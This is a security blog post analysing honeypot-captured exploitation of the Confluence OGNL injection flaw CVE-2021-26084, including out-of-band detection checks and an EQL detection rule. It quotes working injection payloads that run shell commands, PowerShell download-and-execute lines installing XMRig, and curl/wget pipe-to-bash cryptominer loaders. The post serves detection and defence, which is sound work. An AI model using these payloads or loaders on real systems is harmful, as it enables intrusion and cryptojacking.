CVE-2021-26084, Payloads and OOB Interaction

CVE-2021-26084, payloads and OOB Interactions

On August 25, Atlassian published a security advisory for a critical vulnerability (CVE-2021-26084) in its Confluence Server and Data Center software, warning that: “an OGNL injection vulnerability exists that would allow an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance (CVSS 9.8 critical)”.

Just a few days after the advisory was published, Bad Packets alerted they detected mass scanning and exploit activity from different ip addresses:

Censys also published a blog post discussing how many vulnerable Confluence servers were connected to the Internet. It started with 12.876 vulnerable servers on September 2nd, but the figures went down to 8.597 just a few days later (well done!).

The majority of the payloads that they were seeing were cryptominer installations (usually XMRig) as we can see in that specific request:

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('', 's.cmd');start-process s.cmd

That download and execute the following commands:

powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('','xmrig.exe')
xmrig.exe -o -u 47bWqjkXUKtK3ifA8jV4of3i766TUCBSvazFokWsQmujEMmQ1LVXnuoSg3TwdepXziCwZGxvcMQp8cyNtxo4dG43RCmM2Fi -p xwei

As soon as we realized that many different attackers were going to actively use this vulnerability, we immediately deployed several Confluence servers in different locations to collect as much activity as we could from such attacks.

The moment we installed the Confluence servers, we started to receive hits from different ip addresses, but the majority were just scans testing if the host was vulnerable. Very few of them were executing commands. We identified those scans easily by using the following EQL rule:

request where arguments='*SpaceKey*' and http_method='POST' and http_status_code=200

Out-Of-Band (OOB) interactions

Some of the scans were trying to check the presence of the vulnerability. But, how can you effectively check that a specific vulnerability exists?

One way is to check the software version - as described in the Censys blog post. Confluence includes its version within an HTML meta tag present in all of its webpages (for example, <meta name="ajs-version-number" content="7.13.0">) - but this is not always a reliable method.

Unfortunately, many times you cannot obtain the software version, and the internal vulnerability does not give you any hint if the exploit has been successful - for example, some blind SQL injection vulnerabilities cannot be made to cause any difference in the content or timing of the application’s responses.

This is when Out-Of-Band (OOB) checks come into play. Sometimes the success of an exploit can be detected using payloads that cause an external interaction, like a DNS or HTTP request.

You will probably have used OOB interactions in your penetration tests, and some of the penetration tests tools have included these interactions in their capabilities. Burp was one of the first products that included OOB interactions, supporting DNS, HTTP and SMTP:

Another recent tool, published in 2021, is by Project Discovery. Interactsh is an open-source solution for out-of-band data extraction. The tool is designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, or SSRF etc.


  • – DNS/HTTP/SMTP Interaction support
  • – CLI / Web / Burp Client support
  • – AES encryption with zero logging
  • – SELF Hosted server support
  • – Automatic ACME based Wildcard TLS w/ Auto Renewal

Mixing everything together

As the avid reader will probably have noticed, attackers are using OOB interactions to detect the existence of the Confluence CVE-2021-26084 vulnerability. It’s a smart method for making sure that the server is vulnerable.

Let’s have a look at one of these payloads:

queryString=aaaa\x5Cu0027%2b#{\x5Cu0022\x5Cu0022[\x5Cu0022class\x5Cu0022].forName(\x5Cu0022javax.script.ScriptEngineManager\x5Cu0022).newInstance().getEngineByName(\x5Cu0022js\x5Cu0022).eval(\x5Cu0022var x=new java.lang.ProcessBuilder;x.command([\x5Cu0027/bin/sh\x5Cu0027,\x5Cu0027-c\x5Cu0027,\x5Cu0027curl\x5Cu0027]);x.start()\x5Cu0022)}%2b\x5Cu0027bbb

The attacker is using the client and the public servers:

As we can see in the image above, there were 5 interactions just from executing the curl command: 4 DNS requests and 1 HTTP request.

OOB interactions are definitely the best way to detect vulnerabilities that don’t generate any output; in this case as you can get the output (stdout) of the commands you execute while exploiting the vulnerability, you can also use the old-school method of just executing a command.

Other payloads

Other attackers are just following that approach; for example:

queryString=aaaa\x5Cu0027%2b#{\x5Cu0022\x5Cu0022[\x5Cu0022class\x5Cu0022].forName(\x5Cu0022javax.script.ScriptEngineManager\x5Cu0022).newInstance().getEngineByName(\x5Cu0022js\x5Cu0022).eval(\x5Cu0022var x=new java.lang.ProcessBuilder;x.command([\x5Cu0027/bin/sh\x5Cu0027,\x5Cu0027-c\x5Cu0027,\x5Cu0027echo x\x5Cu0027]);x.start()\x5Cu0022)}%2b\x5Cu0027bbb

Where the attacker just executes /bin/sh -c echo x and she/he will check the result, or some more advanced multi-platform payloads like


That can be converted into:

var isWin = java.lang.System.getProperty("").toLowerCase().contains("win"); 
var cmd = new java.lang.String("ip a");
var p = new java.lang.ProcessBuilder();
if(isWin) {
    p.command('cmd.exe', '/c', cmd);
} else {
    p.command('bash', '-c', cmd);
var process= p.start();
var inputStreamReader = new;
var bufferedReader = new;
var line = ‘'; var output = ‘';
while(line = bufferedReader.readLine() != null) {
    output = output + line + java.lang.Character.toString(10);

This is a well-known injection template for Java applications that instantiates a JavaScript engine. The use of “ip a” instead of “ifconfig” shows that this is either a young linux user or an old-school linux user that has adopted the more recent network commands :)

Other attackers are using similar payloads but in this case they are installing cryptominers:

The decoded cmd variable now is:

(curl -s||wget -qO - | bash

And the conf2 file just downloads a cryptominer:

wget -O /dev/shm/pty86; chmod +x /dev/shm/pty86; /dev/shm/pty86 &
wget -O /dev/shm/pty32; chmod +x /dev/shm/pty32; /dev/shm/pty32 &
curl -o /dev/shm/pty86; chmod +x /dev/shm/pty86; /dev/shm/pty86 &
curl -o /dev/shm/pty32; chmod +x /dev/shm/pty32; /dev/shm/pty32 &

wget -O /tmp/pty86; chmod +x /tmp/pty86; /tmp/pty86 &
wget -O /tmp/pty32; chmod +x /tmp/pty32; /tmp/pty32 &
curl -o /tmp/pty86; chmod +x /tmp/pty86; /tmp/pty86 &
curl -o /tmp/pty32; chmod +x /tmp/pty32; /tmp/pty32 &

(curl || wget -qO - | bash > /dev/null 2>&1 &
wget -qO - | bash > /dev/null 2>&1 &

We will keep monitoring all the different payloads, so please stay tuned to our latest blog posts!

David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.

CVE-2021-26084, Payloads and OOB Interaction
Read more about this critical vulnerability and the alerts and findings so far

Like Jim Morrison said, this is the end. But you can...